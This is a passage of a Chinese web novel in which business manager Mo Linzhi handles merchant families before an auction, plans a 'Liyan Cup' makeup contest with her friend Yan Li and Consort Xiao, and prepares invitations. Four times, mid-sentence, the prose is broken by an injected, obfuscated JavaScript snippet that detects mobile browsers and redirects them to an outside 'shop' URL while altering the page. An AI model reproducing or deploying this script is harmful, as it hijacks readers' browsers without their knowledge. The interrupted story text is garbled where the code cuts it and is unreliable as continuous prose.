她都做好空手而归的准备了，这时候，一直“沉得住气”的黄志真终于图穷匕见，露出了他这次邀约的真实目的。 他从袖子里抽出一个信封，恭敬呈上：“听闻莫管事是王爷最信重之人，我这有一封诚意，还请莫管事代为呈上。” 莫林知挑眉，接过信件看了看，将之收入包里，回了个礼：“放心，一定给带到。” “多谢。” “客气，那就改天再叙。若是在城中需要什么事情，可以去找飞毛腿。距离拍卖会还有七八天，你们可多关注关注《见闻》，拍卖会的规则和拍品介绍都会提前在上面公布。” “是，我们客栈就有。莫管事的奇思妙想真是让人望尘莫及。” “不敢当不敢当，那就先告辞了。”莫林知再度拱拱手，生怕他又要接话然后两人陷入这种你来我往中没完没了，连忙带着萧凛离开。 直到走出火锅店坐上马车，她才垮了脸，长舒口气。 把玩着手中的信件，莫林知好奇道：“你说，这里面是什么呢？” 萧凛想了想最近收到的消息，推测说：“可能是削藩的相关消息。” “这么慎重的送过来，怎么着也应该来点不一样的吧······王爷在府中吗？” 萧凛点头：“在。” “行，那就直接去找他。” 两人达到萧衍的书房时，人正在泡茶，3个杯子，一看就是在等他们。 莫林知将信封递过去，露出一个夸张的疲惫表情吐槽：“一顿饭吃得真伤胃，要是这消息不够有含金量，我可是要生气的。” 萧衍闻言，轻笑了声，然后将一目十行看完的信纸放到了两人中间。莫林知凑上去一看，开头第一句话就是那位有意派人削藩，收拢北境兵权——这不是龚煊早就给到的消息吗？ 撇撇嘴接着往下看，发现后面还写了预估的时间以及可能接手的将领。 emmmmm，也姓萧，叫萧炆。 莫林知在这个名字上点了点，歪头：“这是你堂弟？” “侄子。当今圣上同母胞姐的长子，因为安乐长公主得宠，所以第一个孩子出生时赐了萧姓。” “哇哦~~~果真是干得好不如会投胎。不过他们也是真放心哈？不怕宝贝儿子死在这？” 这么狂悖的话一出来，萧凛顿时侧目。 萧衍还好，经过上次那份“皇位投资书”之后，不管她说什么他都能见怪不怪了。 神色如常地给她重新斟了杯茶，萧衍慢悠悠解释：“当今权利与其说是把控在皇室手上，不如说是帝师张家和丞相何家二分朝堂，皇室只是他们豢养的吉祥物。所以，这人要是被养坏了，那自然是不知道天高地厚的。再加上别有用心的推波助澜，存心想以他们做饵来试探我······” 莫林知顿时恍然：“看你会不会看在血缘的份上放他一马？难怪，张何两家应该是不敢派人来的吧？因为来了就是死。” “其实我没这么心狠手辣。”萧衍轻抿一口茶水，笑得温文尔雅。 莫林知：“······” 看在他对下属一直很好的份上，就不拆穿了吧。 哪怕她政治敏感度为零也知道，傻白甜是活不长久的啊啊啊啊！ 消息看到了，好奇心满足了，剩下的就与莫林知无关了。她懒得听后面的应对安排，喝完手中的茶起身告辞——黄家到了，其他家还会远吗？有空在这听闲事，还不如回去养精蓄锐。 正如她所猜测那样，和黄家的应酬结束没两天，其余商户就跟洪流似的涌入了定安城。萧凛这边每天都会受到数封请帖，莫林知结合他手中的情报，挑挑拣拣选了一些回帖。 江南那边陈吴林杜四大家是推不掉的，再加上沧澜的陈家，莫林知一起宴请了。反正他们之间互为姻亲还是一起同行来的，甭管私下有什么龉龃，莫林知权当不知道。 西北莫家来的也是少当家，这位据说和龚煊认识，莫林知就让龚煊代为招待了——西南都和北境一条裤子了，西北还会远吗？ 至于其他的，莫林知选了一些口碑好，有一定实力的见了见，剩下的她就顾不过来了。不过不管见没见，来者是客，自行车比赛的门票她还是送得起的。于是原定的几十张根本不够用，她又从龚煊手中抠了几十张出来。 而她为了躲躲清闲，连原本给自己和萧衍以及太妃娘娘留的位置都送出去了，也就萧瑾不怕辛苦，这一天带着莫林杰兴冲冲地出了门。 闲来无事的莫林知就叫了颜丽过来，和太妃、碧心四人一起打叶子牌。 莫林知对禹朝的叶子牌规则不太熟，好在晚香很懂，有她在一旁指点着，再加上新手运气，倒是半点不输，看得颜丽都羡慕了。 “不愧是财神爷哈，从没玩过居然赢得这么溜~”颜丽眼馋地看着晚香，“要不把你这丫头借我一会儿，帮我也看看牌。” 晚香掩嘴笑了：“主要还是莫管事手气好。” 莫林知也帮腔：“别盯着我的人了，好好看你自己牌吧，输赢都是命，看开点。” “嘁——” 萧太妃和碧心两人就默默笑着看她们俩打嘴仗，低调地插在莫林知中间赢几把。最后一算钱，好么，颜丽一个人输，莫林知赢得最多，其次是萧太妃，碧心不输不赢。 看着一桌几个女人，莫林知心里由衷感叹：高手，个个都是高手啊~~~ 输了钱的颜丽最后在吃饭时还不甘心地想找回场子：“我说，你都赢了这么多，是不是也该回报一下？” “这么输不起，以后别打了。”莫林知半点不上套。 “怎么这样嘛~”颜丽撒娇地拿肩膀碰了碰她。还别说，一个明艳的大美人这么蹭来蹭去的······还真有点受不住，视觉冲击力太大了。饶是知道她是装的，莫林知嘴角也忍不住翘起了一点。 就一点，但还是被颜丽抓住了机会：“你后来不是又跟我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519278|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好些产品吗，什么高光眼影啊，我都做出来了，能不能帮我做个新品策划？” “找晚玉，她负责你这块的。” “她的方案我看了，主要还是派样，找代言这些，说实话，我觉得不够有创造性啊。你想想，我这个产品绝对是前无古人后无来者吧？这主意还是你贡献的呢，也算是你半个孩子，你就甘心让它归于平凡？” “别，是金子总会发光的。而且代言和派样确实是最直接的用法，高效省时，就是稍微费钱了一点，但是你算算投资回报率，应该是可观的。” “我不要钱，我就想让丽颜独一无二！”颜丽铿锵有力地说出“独一无二”的要求，筷子都放下了。她不吃，也不让莫林知吃好，两只手缠着人锁得死死的。 莫林知拿她没办法，想了想，脑子里一个主意慢慢成形：“要不这样，你独家冠名赞助，举办一场化妆比赛，比赛名字就叫······‘丽颜杯’？要是第一期做得够好，以后年年都可以做下去，这样一来，还怕奠定不了你‘丽颜’的地位？” “不过吧，现在技术好的化妆手大多都是高门大户养着，所以第一期的人员还得想点办法从那些人手中把人掏出来。奖品也得有独特性，不能只是银子，否则就失了权威了。” 莫林知前面说“年年办”的时候颜丽就已经眼冒精光了，哪怕后面被泼了一盆冷水，她也半点没有退缩的意思，反而越凑越前：“你有办法的对吧？只要你开口，我一定配合啊，钱不是问题。” 莫林知：“······” 呵呵，是不是人有钱了都会开始搞理想？就跟那谁一样，某宝成功了就去搞乐队了。 她嘴角抽了抽，对她今天登门的来意有了深深地怀疑：“你刚是不是故意输的？在这儿等着我呢是吧？” “哪有~”颜丽举双手叫屈，“今天可是你临时找人去叫我的！唉······行了行了，你要真不乐意我还能逼你咋地，就这样吧。” “少给我玩以退为进！”莫林知白了她一眼，“具体的我会去和晚玉沟通的，晚点让她给你详细落地方案。” 这话一出，目的达成的颜丽转眼喜笑颜开，变脸速度比翻书还快。 她乐呵呵地给莫林知夹了筷子她喜欢的清炒莲藕，还臭不要脸地隔空给了她几个亲亲。 莫林知：“······离我远点。” 眼见着两人的争端有了结论，一直笑呵呵看着的萧太妃才点了点莫林知，转头对碧心笑道：“你说这脑子怎么长得呢，眨眼就是一个主意，都不用怎么思考的。” “老天爷赏饭吃，比不来的。”碧心一边给她布菜一边捧了一句。 “可不是嘛。”萧太妃感慨从心起，眼神渐渐悠远，“我年轻的时候，也见过在某一方便颇有天赋的。可说到底，大家终究都是普通人，今天你好一点，明天我多用用功，就超过你了，所以以前对于天赋流之说我是嗤之以鼻的。直到见到了你。” 她说着看向莫林知，满脸惊叹：“简直是如有神助。” 96. 真心 莫林知闻言，干笑了几声，心想可不就是有神仙帮忙么，但到底是帮谁她就不知道了。 本来都快退休了结果被撞到这个地方从头来过，换成任何打工人都得郁闷到死。但再一想，重来也比还没享受就死了强，好歹这个老板比之前的都要好。 思及此，莫林知心气也平了，她操着筷子重新投入到满桌美食，打着哈哈让这一段翻篇：“没有那么夸张啦，可能也是我年纪小，思维不受局限，想事情更天马行空一点。说到底，还是王爷无保留的支持才有了今天，而且，之前不就差点出篓子了么，还是太妃娘娘帮忙填补的~~快吃快吃，冷了就浪费了。” 另两人见她一副不好意思的样子，也顺着转移了话题，几人聊着聊着就提到了即将开始的拍卖会上。 说起这拍卖会，颜丽又凑过来了：“你说，我手头这些新式胭脂水粉要不要也找那些家族合作合作？我出技术他们出铺子，这样我丽颜说不定明年就能开遍大江南北。” “想法可以，但是时机不对。你这技术的壁垒没有那么高，别人只要买几套回去研究研究，不说十成十吧，也能做个差不离，到时候反而欺你无名抢先发售，你说理都说不过人家。但是如果丽颜的名头大了，你再放出风声，那应该有不少人会愿意。” 颜丽闻言，若有所思：“那如果······我这个生意不是我个人的，是王府的呢？” 萧太妃：嗯？？？ 莫林知：？？？ 她今天到底干嘛来的？ 莫林知还在愣神，身旁这女人已经凑到萧太妃那边去了。 “太妃娘娘，其实我这铺子的生意都是林知盘活的，最近即将上市的新品也都是她的主意。之前我就跟她提过，说给她干股，可她不要啊！只说自己和王府签了协议，就算要给也是给王府。所以······您看？” 萧太妃笑笑，避而不接：“我看啊，今天这牌你是还没输够，还想当散财童子。这样，吃完了你们回院子休息休息，下午咱们继续。” 颜丽张口欲要再谈，莫林知踢了她一脚抢先接过话头：“那咱们就约好了，下午筹码双倍，娘娘，到时候咱们可得把她这个月的营收都赢完了才行。” “行行行，你加油，我配合。”萧太妃朗声笑了。 大家默契揭过话题，莫林知和颜丽陪着萧太妃吃过饭又吃了盏茶，在萧太妃打了个呵欠时适时告退。 穿过回廊花园，一踏入自己的院门，刚才还走得飞快的莫林知突然停住转身，在来不及刹车的颜丽腿上踢了一脚，完全无视她“你干嘛很痛的啊！！！”抱怨，虎着脸道：“你今天到底来干嘛的？” “我能干嘛？不是你叫我来打叶子牌！”颜丽搓搓被踢的地方，越过她径直往里走。 莫林知冷着脸跟上，最后面，晚香利落地关了院门躲回房了。 秋日的院子，哪怕最大的那颗榕树依然绿油油的，也架不住其他的景观开始泛黄，显示出衰败的萧索。尤其冷茶冷灶的，饶是刚才气的发昏，也被这透心凉的温度弄清醒了。 莫林知深深叹了口气，自己去小厨房提了些炭出来生火，然后又拎起水壶去重新接了一壶水出来。 一通忙碌，待新的一杯热茶出炉，莫林知端到颜丽面前，权当为自己刚才的行为道歉，而后才冷静问道：“你那个话，压根儿不是真心要给王府送干股，倒像是来替我撑腰叫屈了。说吧，怎么回事？” 颜丽一开始慢悠悠地喝着茶，压根没有说的意思，但是架不住莫林知眼神威逼，一副“你不说就别想走出去”的样子，最后烦躁地拂了一把额头，将自己的信息和盘托出：“你最近都不怎么出门了，见闻那边也慢慢开始放权，你知不知道，外面都有传言，说你要收山安心待嫁了！！！” 莫林知：······哈？ 见她微怔的样子，颜丽有些恨铁不成钢：“我知道王爷对你好，但是你也不想想，他一开始对你好是为什么，是因为你独一无二的能力！你就这么放权入主后院？不怕哪天王爷发现你身上吸引他的特质没了？？？” 莫林知：······Σ(⊙▽⊙"） 倒是没想到，您的想法还挺人间清醒的。 搞了半天是这么一出乌龙，莫林知也不着急了，整个儿放松下来，慢慢悠悠地喝着茶看好戏。 两人的姿态顷刻间来了个180°大转变。 “喂，你真的上点心，别一副事情做完就万事大吉的样子。我告诉你，人心变得可快了！” “我赞同。不过你这话小心点，别让其他人听到了。”莫林知笑吟吟地叮嘱，然后获得对方白眼一枚。 “我又不傻。”颜丽如是说。 可是号称自己“不傻”的某人，刚才却为了朋友，甘冒大不韪顶了一下北境最有权势的女人。思及此，莫林知整颗心都有些酸软。 工作十几年，因为在第二个东家那里跌了惨重一跤，此后，她就一直将“多看少说”刻在了心里，刻在了脑门上！ 加上她天生的严肃脸，时间久了，同事和下属都说她“没情趣的工作机器”，东家也用“林知就是不太说话，做事还是很牢靠的”来形容她。 后来也有关系好的朋友，但是哪怕关系再好，她顶多就是聊聊吃喝，聊聊衣服美妆香水等等，绝对不会提到公司的任何人和事。哪怕在公司受了天大委屈，她也就是书店坐坐，看看书，心就静了。 所以见到颜丽第一眼，她虽然知道这个女孩是那种爽朗大方适合做朋友的人，但始终还是有所保留。她可以在生意上给对方开点无伤大雅的绿灯，至于一些私密的事儿，她是半点不提的。 大家都是聪明人，颜丽不会没感觉到她这么明显的边界，但今天还是这么做了。这一刻，莫林知难以言说是什么感觉。 但是24岁的莫林知，应该是能彻底释然了。 不是这个世界很差，也不是她人不行，只是那年太倒霉了，刚好遇到了那个烂人而已。 轻呼出一口气，莫林知笑了。 “行了，别瞎猜了，倒显得你多阴暗似的。”莫林知翻了个白眼，逼退眼角的些微潮湿，“没人要逼我做什么，我最开始和王爷约定的就是我替他搭建好商业帝国框架就离开，他保我此后一生无忧。” “离开？？？？”颜丽震惊，“不是吧，就·······这么大一摊心血，全不要了？？？” 她人都傻了，稍稍带入一下，觉得自己是怎么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533555|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能放手的。 “呕心沥血一年，换一辈子高枕无忧，不是很值吗？不然谁会这么拼命啊，又不是天生劳碌命！”莫林知又一个白眼丢过去。 呃呃呃，这么一说倒也是······ 认真观察了她好一会儿，终于认清现实的颜丽倒吸一口凉气，“完了······那你要是退出，我不就没有靠山了？！我刚刚还把最大的东家得罪了！！！！” 她说着捂脸哀嚎，引来莫林知幸灾乐祸的笑声。 当然，说靠山什么的都是戏谑之言，颜丽还真没那么强的事业心，之前也就是为了和悦容庄赌一口气而已。 两人化解了乌龙，终于可以心情舒畅地好好摇着摇椅，躺一躺了。 过了会儿，莫林知含着笑意的声音响起：“你怎么不问我退出后要去干嘛？” “那是你的私事啦，你现在不说肯定有你的理由，但我想，你总不至于永远都不告诉我吧？” “那不会，肯定会好好跟你告别的。” “告别？”颜丽腾地一下坐起，两只眼睛瞪得有铜铃大。 “嗯，我想用自己的双眼好好看遍大禹朝的风土人情。” “那你还会回来吗？” “会的，我每到一个地方安顿好也会给你写信，你若是哪天也想出门了，可以来找我。” 闻言，颜丽立马舒适躺回去了：“这还差不多。那你到时候记得带够人，出门在外注意安全。” “知道啦，还早着呢，你啊，还是先想想等会儿怎么给太妃娘娘道歉吧！真是够冒犯的！” 这话一出，颜丽又苦了脸，唉声叹气的。 不过萧太妃真的是天下第一大善人，在人期期艾艾不好意思的越说越乱的时候，她只是疏朗地笑了笑说：“不用解释，你们小姐妹感情好是最难得的，好好珍惜吧。这样，我看着你们也觉得这世界更美好了一点。” 通情达理一番话，听得颜丽热泪盈眶，恨不得当场跟莫林知拜把子给太妃娘娘看乐呵。 莫林知：······ 她严辞制止颜丽的发疯，然后正色道：“其实，我倒觉得，娘娘真的可以拿一点干股。” 萧太妃&颜丽：嗯？ 怎么突然转商业氛围了？ 莫林知笑了下，将刚才那个“丽颜杯”的想法稍稍扩充：“我之前说过的啊，‘丽颜杯’一定要权威，否则就是一场笑话了。可你们想想，这世界上，还有什么比皇室更权威的？” “如果太妃娘娘愿意支持，有您撑腰，那敲开那些高门大户的门都会简单很多。还有最后的奖品，要是第一名除了钱财，还能被娘娘金口玉言给个称号，你们说是不是会更有吸引力！” “对啊！这个荣誉可是能傍身一辈子的！”颜丽顺着莫林知的思维展开想了想，眼睛都亮了。 “要是‘丽颜杯’成功，你还可以开设一个培训班。不过这样的话，‘丽颜杯’就要稀释评委的票数，将更多决定权交到大众手上了，不然会有人质疑奖项的公正性。” 急性子的颜丽摆摆手：“这个先不提，咱们先把‘丽颜杯’做起来吧？先做成北境第一。”她说着星星眼看向萧太妃：“娘娘，求帮忙~~~~~” 97. 酬劳 萧太妃本不欲要这个干股，但是在莫林知的劝说下，最终还是接受了30%的比例——颜丽本来开的是40%来着，还是莫林知提醒她，后续如果要和其他人合伙扩张的话，还得留一部分出来这才罢休。 捧着新鲜出炉的契约，颜丽笑得美滋滋的：“这下两件事都能解决啦~果然是背靠大树好乘凉。” “大树”一听，被逗得笑成了一朵牡丹花。 “合作方到时候我来帮你找，你别自己瞎联系了。”莫林知叮嘱，但话又不能说太明白。 丽颜也好，丽颜杯也好，未来或许可以作为萧衍入主皇城后，太后与皇城各大本土世家后院拉拢关系的一个纽带。所以她想在此次拍卖会后，和萧衍签署深度协议的商户里找合作伙伴。 这些考量，她不能摆在明面上说，只能暗示。 好在，颜丽是巴不得当甩手掌柜的，当下乐得恨不得再分莫林知5%的股份，然后被莫林知打回去了。 真是！想让她当劳力？做梦！ 不过颜丽走后，萧太妃倒是真真切切想从自己的30%里分一半给她，不为别的，就是心疼她，什么都做了，什么都没得到。 这话说得，莫林知“噗嗤”一下笑了：“娘娘，我可不是什么都没有，这些日子好吃好喝安安稳稳地生活着，小杰还受到了最好的教育。再说了，我的回报在后头呢，等王爷成了大事，这天地岂不是任我遨游~” 她眨了眨眼，故作玩笑道：“我听人说，这长辈手上啊是一定要有自己的私产的。私产越多，底气越足，万一遇上哪个子孙不孝顺，到时候用银子砸死他们！” 萧太妃没忍住，“哈哈哈哈”笑了。这都是民间流传的一些“老人智慧”，她也是有听说过的，没想到莫林知小小年纪竟然也知道，真是古灵精怪。 虽然皇室没人敢这么做，但萧太妃还是没继续在干股上纠缠。 两人继续闲聊着等其他人回来，然后在饭桌上又听莫林杰绘声绘色地讲述了一番自行车比赛的趣事，这才各自散去。 回到院子，晚玉将何梅整理的拍卖会进度汇报转交了过来。 莫林知一目十行地看完，发现接下来就是保证金缴纳和邀请函发放了。 她想了想，交代晚玉：“保证金缴纳我就不去了，让萧凛带着人主负责，你和何梅从旁监督，回头你们三一起整理一份名单给我。” “······好。”晚玉迟疑地应下。 她没想到，连最看重的拍卖会，莫林知都有放手的征兆。 站在原地，晚玉的脸色变了又变，她想直接挑明了问莫林知后续是不是有什么打算，但是对上那双笑吟吟的目光，她就知道，自己应该是得不到什么答案的了。 抿抿嘴，晚玉下去了。 时间很快就到了缴纳保证金的这天，虽然没去现场，但她破天荒地去了见闻。 何梅和晚玉不在，整个办公室的氛围要喧闹很多。尤其现在什么都理顺了，去了沧澜城的陈诚他们也回来了，帮手更多，所以也能有时间聊聊天，分享分享八卦。 不像之前，连喝口水的时间都没有。 莫林知进去的时候大家正在听陈诚讲沧澜那边的见闻，见到久不露面的老大进来，吓得接二连三地噤声归位，埋头“苦干”去了，惹得莫林知噗嗤笑出声来。 倒是几个老员工，知道她没那么严肃，纷纷围上来打招呼：“莫管事，好久不见。” “好久不见，欢迎回来。”莫林知笑眯眯地看着他们：“齐铭在那边还好吗？” “应该······还好？”陈诚尴尬笑了下，“其实您返程没几天他就去了其他城，沧澜那边让我们代为监管了一阵子······不过您放心，我们回来的时候他也已经回沧澜了，看起来挺好的，就是事务太忙，经常要出城。” 莫林知了然点头：“开荒嘛，是要辛苦点的。那你们呢，出门一趟，总不能没有收获吧？” “嘿嘿，那不会，我们每天都有记录，回来之后第一时间就整理好了。”陈诚他们几个说着，连忙回到座位，从抽屉里掏出各自的总结报告回到莫林知面前，“莫管事您要看看吗？” “当然，你们可是我亲自招进来的。”莫林知毫不客气地一份份收过来，最后理了理，然后冲他们晃了晃，“以后都是前辈了，要有做前辈的气度和能力，要是被新人甩在后头，那就太不应该了啊。” “是！” 满意地看着眼前几人的精气神，莫林知又冲其他人笑笑：“那你们继续聊，不用顾忌我。以后熟了你们就知道了，我的要求是事情保质保量做好就行，平时爱干嘛干嘛，我是不管的。” 她笑起来的时候真的有种亲切力，原本噤若寒蝉的新人一下子松了口气。 胆子大一点的陈诚又笑了：“虽然您不管，但是有您在前头领着，我们也丝毫不敢松懈，就怕掉队了——刚才也是在和他们讲沧澜那边的项目。之前您不是找段家主代言打开了丽颜产品的局面嘛，后来果然又有其他商家找上门了，因为是第一次用这种模式，所以开始闹出不少笑话来着。” “没闹到明面上吧？” “没没没，齐管事考虑周到，都解决了。” “那行。我不打扰了，帮我叫下你们李管事。”莫林知笑笑转身准备回办公室，临出门时，想起什么，转回头笑眯眯地警告，“还有，哪怕我不在，你们也要保持进取心。《见闻》不是我一个人的，知道吗？” “知道！” 眼神在他们几个脸上溜了一圈，不管他们是真知道还是假知道，反正莫林知是点到为止了。 回了自己办公室，过了会儿，李程江走了进来，开口就是：“又憋了什么大招等着我？” 闻言，莫林知忍不住挑眉怼了一句：“别搞得很了解我的样子，怪害怕的。” 对此，李程江的回复是一声冷笑。 “不是我了解你，而是你最近懒怠得全城皆知了都。怎么，想撂挑子了？” “不是，憋大招去了。”莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546299|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林知没好气道，然后从包里掏出一份文件，“看看吧，最开始就答应你的。” 哦？ 李程江想了想，也没想出来她答应过什么了？ 不过莫林知出品，从没让人失望过的。他还是满怀期待地接了过来。 这一看，原本还没个正形的人一秒严肃脸。 待到一字一句看完，李程江前前后后又翻了翻，最后肃着脸问莫林知：“这份规划王爷看过吗？” “看过。他觉得凡事都有两面，目前来看，这份规划是利大于弊。” 李程江闻言，脸上浮现出奇怪之色：“从自信这一点来说，你们俩倒是越来越有夫妻相了。” 莫林知：？？？ 她无语道：“别乱说话，小心哪天死这张嘴上。” 行行行，算他乱说的吧······ 李程江投降作揖。 莫林知懒得和他计较，敲敲桌子，回到这份规划上：“说实话，点评时政不是一般人能做到的。他要有纵观古今的渊博学识，要有看得到未来的长远目光，要客观公正，要下恤民情——这样的人，迄今为止，我只认识你一个。所以，团队我是没法帮你招的，能做多大，走多远，全看你自己。” 李程江没说话，他默了半响，倏地笑了：“这是在夸我吗？我都不知道，你对我的评价竟然这么高。” 莫林知：“······” “少来了，说正事！”莫林知白了人一眼，“明面上这个和官方没什么关系，实际上你自己清楚，每一篇时政发出去之前，你都需要和王爷那边通个气。” 说到这里，李程江眉头皱了一下。莫林知理解，他考功名考到一半放弃就是觉得官场太受限制，太假了，但——绝对的自由是不可能有的。 哪怕是······对吧？也没有实现过。 所以莫林知不得不郑重提醒，生怕他一个理想主义把自己给埋了：“有些底线是绝对不能打破的，但是底线之上，那不就都是你的自由发挥空间吗？再说了，没有边界的自由其实也挺恐怖的，你怎么就能保证自己做的事情一直对呢？万一哪天不受控制的好心办了坏事······反正你好好想想吧，考虑到了跟我说。实在不行嘛就继续在见闻做你的总管事。” 李程江“嗯”了一声，将东西小心叠好告辞了。 这件事非同小可，他确实要好好想想。 李程江离开后，莫林知抽出另一份规划翻了翻，思虑几秒，还是放进了抽屉里锁上。 步子不能跨太快，其他的，等拍卖会结束了再说吧。 莫林知握着笔的手敲了敲，翻开了陈诚他们的出差总结，沉下心来检查“作业”。 认真做事的时候时间总是过得格外快，莫林知将几份报告交还到他们主人的手上，对他们今后的职业方向略微提点了几句，何梅和晚玉就回来了。 萧凛也跟在后面。 莫林知见状，从何梅手上接过相关的记录整理，直接带着萧凛回了王府。 98. 前期 到达王府的时候萧衍人不在，莫林知和管家说了一声，干脆拉着萧凛就在他的书房等。 不过人不在，不妨碍她提前了解了解情况。 莫林知翻开林梅整理的记录表，发现金银铜号码牌的得主和她预想的还是差不离的。 5金：北境陈家、皇城黄家、西北莫家、江南吴家和杜家。 20银：北境占了4家、江南6家、西南6家、皇城1家、西北1家，空余2个包厢。 30铜：空了3桌，剩下的分布都比较均匀，而据何梅的备注来看，好几桌还是拼伙才达到的门槛。 一张记录表，反应的信息有点多。莫林知笑了一下，在“陈”字上划了圈：“这家人倒是会做生意，鸡蛋不放一个篮子是对的，不过我挺好奇，来日王爷成事了，这江南陈家难道就真的半点不眼红？” “肯定是私下额外签了协议。”萧凛说着，在西南的6家里圈了3个名字，“这3个是西南王的暗线，表诚意来的，得见。还有黄家、莫家和杜家，也可以发特质邀请函。” “江南居然选了最靠后的杜家吗？”莫林知有点点诧异。她想起之前宴请的时候，这家的代表人好像是最不怎么说话的，一副闷葫芦样！ ······不会是扮猪吃老虎吧？ 她以眼神问询，萧凛点头，肯定了她的想法：“杜家的人前几天悄悄找到了王爷，表示他们的海运线可以借给我们一用。” 莫林知：呵、呵呵！ 是过分谨慎还是看不上她这一管事？算了，反正也和她没什么关系了。 确定了萧衍的意思，莫林知直接从包里掏出了早就准备好的两种邀请函，开始一封一封填名字。 对滴，两种，邀请函！ 人远道而来，总不至于拔完毛就一拍两散嘛，多生硬！所以莫林知在拍卖会结束后还在附近的寻味斋安排了晚宴。半自助模式，请了名家表演，到时候所有人在宴席喝着小酒，拿到特质邀请函的人在包厢和萧衍谈着“生意”，瞒天过海，一举两得。 莫林知刷刷刷几下将邀请函弄好，萧衍正好回来了。她拿着后续的安排，仔仔细细和萧衍核对了一下，然后告辞离开。 经萧衍确认过的邀请函在当天晚上就送到了各位来宾的下榻，虽然距离正式拍卖会还有3天，但是看着邀请函上的行程安排，大家隐隐已经有些沸腾了。 截止目前，一共筛选出了50份拍品，这50件拍品的详细资料都在《见闻》上悉数刊登过，大家私底下又串联过消息，对各自的目标已有初步的想法。 按照行程来看，50件拍品，会分散到一整天来进行，上午十点进场，12点结束，会有人送上简餐，一个小时的休息。下午一点继续开始，然后尽量在六点左右结束。白玉京的门外会有等候的马车送大家去晚宴场地，到了那边，剩下的就是看看表演吃吃饭了。 不过晚宴上还有部分特邀的北境本土商家，坐席是交叉安排的，可自由更换，因为菜品都是小碟装，用旋转装置送到大家手上，所以换个座次倒也不影响什么。 实在不行，旁边还有特别准备的“交谈区”，方便大家商谈项目。 晚宴一直持续到晚上10点结束，会有专车将各位来宾送到下榻客栈。 说起来，这次晚宴的本土商家名额，莫林知是一毛钱没收的，不过都是和《见闻》营销合作过的商家——权当老客福利了。 整体来说，除了要坐一整天累了点，这个安排倒是挺合心意的。 这些从下榻客栈补完了《见闻》又亲眼看过自行车比赛的人已经开始默默期待起来了，他们将请帖小心保存好，怀揣着一颗落定的心进入了美梦中。 当然，在普通邀请函里看到特质玉牌的几家人是各有悲喜。 比如黄家，来得最早，决定也做得最早。看见玉牌，黄志真脸上是发自肺腑的高兴，他对底下三个弟弟细细交代：“拿到了这个，我们此行的目的就算是达成一半了。大后天你们机警一点，拍卖会放松下不要紧，晚上记得帮我打好掩护。” “是，大哥您放心，我们一定会小心的。”黄志知连忙保证，另外两人也连连响应。 “嗯，要是成了，后面你就带着小四在北境暂住一阵子。你们放心，肃王的实力都是家里长辈分析过的，你们在北境反而比皇城安全。” “我知道。我和小四会好好的，后面就劳烦大哥和三弟了。” 黄志真点点头，挥挥手让他们离开，自己则开始了每日一做的修行。 每一天临睡前，他都会在床上打会儿坐。这个时候夜深人静，心最容易沉淀下来，也最适合查漏补缺。 这一次，他脑子里就在默默按照邀请函的行程，推演那天的安排。 物联网和干冰是一定要拿下的，除此之外就是晚宴了。只要事成，后面他就完全不担心了——他们四兄弟从小一起长大，感情不分你我，这次留2个人为质虽然是突发变动，但，西南王都敢，他们黄家有什么不敢的呢？ 至于后面的事情，家里的长辈都心里有数。 黄家虽然从权贵里被剔除了，可瘦死的骆驼比马大，这么多年经营也不是白做的！ 细细地将事情一遍遍捋清楚，黄志真睁开眼，下床洗漱。打水、擦洗······一件件小事被他慢条斯理地做出来，颇有几分气定神闲的感觉。 另一边，看到玉牌的杜家则是喜忧参半——机会到手固然欣喜，可······筹码有些让人拿不定主意。 他们也不傻，虽然不认识龚煊的身份，可黄家会做人，早就私下透露过想要“留两位弟弟在北境好好学学经商之道”的消息。 这话也就骗骗傻子了。 谁不知道，这一趟来的，都是看北境大有可为，想来下注的。可来之前，以为下注的筹码无非就是钱多钱少而已，现在倒好，黄家这么横插一杠，直接将赌注拉高了几个台阶！ “黄家这群小人，怎么之前先帝登基的时候没治死他们呢！！！”杜家带队的老二恨恨骂了一句，然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556370|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 